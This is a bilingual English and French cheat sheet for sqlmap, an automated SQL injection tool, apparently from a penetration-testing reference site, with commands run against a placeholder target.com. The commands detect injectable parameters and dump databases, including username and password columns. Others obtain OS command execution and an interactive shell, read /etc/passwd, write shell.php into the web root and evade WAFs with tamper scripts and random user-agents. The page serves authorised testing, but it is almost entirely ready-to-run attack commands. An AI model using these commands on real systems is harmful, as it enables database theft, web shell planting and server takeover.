sqlmap
Détection et exploitation automatisées d'injections SQL. Supporte tous les principaux SGBD avec des techniques blind, time-based, union et error-based. Automated SQL injection detection and exploitation. Supports all major database backends with blind, time-based, union, and error-based techniques.
↗ https://sqlmap.orgOverview
sqlmap automates the detection and exploitation of SQL injection vulnerabilities. It handles GET/POST parameters, cookies, headers, and can dump databases, read/write files, and achieve OS command execution depending on the backend and privileges.
Basic Detection
Test a GET parameter
sqlmap -u "https://target.com/item?id=1"
Test a POST parameter
sqlmap -u "https://target.com/login" --data="username=admin&password=test" -p username
Test with a captured Burp request file
sqlmap -r request.txt
Test a specific parameter
sqlmap -u "https://target.com/item?id=1&cat=2" -p id
With cookie injection
sqlmap -u "https://target.com/profile" --cookie="session=abc123; uid=1" -p uid
Database Enumeration
List databases
sqlmap -u "https://target.com/item?id=1" --dbs
List tables in a database
sqlmap -u "https://target.com/item?id=1" -D dbname --tables
List columns in a table
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --columns
Dump a table
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump
Dump specific columns
sqlmap -u "https://target.com/item?id=1" -D dbname -T users -C username,password --dump
Dump everything (careful — noisy)
sqlmap -u "https://target.com/item?id=1" --dump-all
Authentication & Session
HTTP auth
sqlmap -u "https://target.com/item?id=1" --auth-type=basic --auth-cred="admin:password"
Headers (e.g. JWT / API key)
sqlmap -u "https://target.com/api/item?id=1" -H "Authorization: Bearer eyJ..."
Maintain session across requests
sqlmap -u "https://target.com/item?id=1" --cookie="PHPSESSID=abc123"
Advanced Techniques
Force technique (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)
sqlmap -u "https://target.com/item?id=1" --technique=BEUST
Level and risk (default 1,1 — increase carefully)
sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3
# OS command execution (requires DBA privs)
sqlmap -u "https://target.com/item?id=1" --os-cmd="whoami"
sqlmap -u "https://target.com/item?id=1" --os-shell
# Read/write files
sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Tamper scripts (bypass WAF/filters)
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase
sqlmap -u "https://target.com/item?id=1" --tamper=between,charencode
Proxy & Evasion
Route through Burp proxy
sqlmap -u "https://target.com/item?id=1" --proxy="http://127.0.0.1:8080"
Random user-agent
sqlmap -u "https://target.com/item?id=1" --random-agent
Add delay between requests
sqlmap -u "https://target.com/item?id=1" --delay=1
Tips
- Use
-r request.txtfrom Burp — saves crafting curl flags manually - Always start with
--batchto use defaults non-interactively --formsautomatically finds and tests forms on a page--crawl=2can discover injection points automatically--output-dirsaves session files for resuming
Help / Man page
sqlmap [options]
Target:
-u URL Target URL
-r file Load HTTP request from file
--data=DATA POST data string
-p param Parameter to test
--cookie=COOKIE HTTP Cookie header
Enumeration:
--dbs Enumerate databases
--tables Enumerate tables (-D required)
--columns Enumerate columns (-D -T required)
--dump Dump table entries
--dump-all Dump all databases
-D DB DBMS database to enumerate
-T TBL DBMS table to enumerate
-C COL DBMS column to enumerate
Techniques:
--technique=T B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(inline)
--level=1-5 Test level (default: 1)
--risk=1-3 Risk level (default: 1)
Tamper:
--tamper=TAMPER Comma-separated tamper script names
OS access:
--os-cmd=CMD Execute OS command
--os-shell Interactive OS shell
--file-read Read file from filesystem
--file-write Write file to filesystem
Misc:
--batch Never ask for user input
--random-agent Use random HTTP User-Agent
--proxy=PROXY Use proxy
--delay=DELAY Seconds between requests
--threads=N Max concurrent HTTP requests
Vue d’ensemble
sqlmap automatise la détection et l’exploitation des vulnérabilités d’injection SQL. Il gère les paramètres GET/POST, les cookies, les headers, et peut dumper des bases de données, lire/écrire des fichiers, et obtenir l’exécution de commandes OS selon le backend et les privilèges.
Détection de base
# Tester un paramètre GET
sqlmap -u "https://target.com/item?id=1"
# Tester un paramètre POST
sqlmap -u "https://target.com/login" --data="username=admin&password=test" -p username
# Tester avec un fichier de requête capturé via Burp
sqlmap -r request.txt
# Tester un paramètre spécifique
sqlmap -u "https://target.com/item?id=1&cat=2" -p id
# Avec injection par cookie
sqlmap -u "https://target.com/profile" --cookie="session=abc123; uid=1" -p uid
Énumération de base de données
# Lister les bases de données
sqlmap -u "https://target.com/item?id=1" --dbs
# Lister les tables d'une base
sqlmap -u "https://target.com/item?id=1" -D dbname --tables
# Lister les colonnes d'une table
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --columns
# Dumper une table
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump
# Dumper des colonnes spécifiques
sqlmap -u "https://target.com/item?id=1" -D dbname -T users -C username,password --dump
# Tout dumper (attention : bruyant)
sqlmap -u "https://target.com/item?id=1" --dump-all
Authentification et session
# Authentification HTTP
sqlmap -u "https://target.com/item?id=1" --auth-type=basic --auth-cred="admin:password"
# Headers (ex. JWT / clé API)
sqlmap -u "https://target.com/api/item?id=1" -H "Authorization: Bearer eyJ..."
# Maintenir la session entre les requêtes
sqlmap -u "https://target.com/item?id=1" --cookie="PHPSESSID=abc123"
Techniques avancées
# Forcer une technique (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline)
sqlmap -u "https://target.com/item?id=1" --technique=BEUST
# Niveau et risque (par défaut 1,1 : augmenter avec prudence)
sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3
# Exécution de commandes OS (nécessite des privilèges DBA)
sqlmap -u "https://target.com/item?id=1" --os-cmd="whoami"
sqlmap -u "https://target.com/item?id=1" --os-shell
# Lire/écrire des fichiers
sqlmap -u "https://target.com/item?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/item?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Scripts tamper (contourner WAF/filtres)
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase
sqlmap -u "https://target.com/item?id=1" --tamper=between,charencode
Proxy et évasion
# Router via un proxy Burp
sqlmap -u "https://target.com/item?id=1" --proxy="http://127.0.0.1:8080"
# User-agent aléatoire
sqlmap -u "https://target.com/item?id=1" --random-agent
# Ajouter un délai entre les requêtes
sqlmap -u "https://target.com/item?id=1" --delay=1
Conseils
- Utiliser
-r request.txtdepuis Burp : évite de reconstruire les flags curl à la main - Toujours commencer avec
--batchpour utiliser les valeurs par défaut sans interaction --formstrouve et teste automatiquement les formulaires d’une page--crawl=2peut découvrir automatiquement des points d’injection--output-dirsauvegarde les fichiers de session pour reprendre plus tard
Aide / Page de manuel
sqlmap [options]
Target:
-u URL Target URL
-r file Load HTTP request from file
--data=DATA POST data string
-p param Parameter to test
--cookie=COOKIE HTTP Cookie header
Enumeration:
--dbs Enumerate databases
--tables Enumerate tables (-D required)
--columns Enumerate columns (-D -T required)
--dump Dump table entries
--dump-all Dump all databases
-D DB DBMS database to enumerate
-T TBL DBMS table to enumerate
-C COL DBMS column to enumerate
Techniques:
--technique=T B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(inline)
--level=1-5 Test level (default: 1)
--risk=1-3 Risk level (default: 1)
Tamper:
--tamper=TAMPER Comma-separated tamper script names
OS access:
--os-cmd=CMD Execute OS command
--os-shell Interactive OS shell
--file-read Read file from filesystem
--file-write Write file to filesystem
Misc:
--batch Never ask for user input
--random-agent Use random HTTP User-Agent
--proxy=PROXY Use proxy
--delay=DELAY Seconds between requests
--threads=N Max concurrent HTTP requests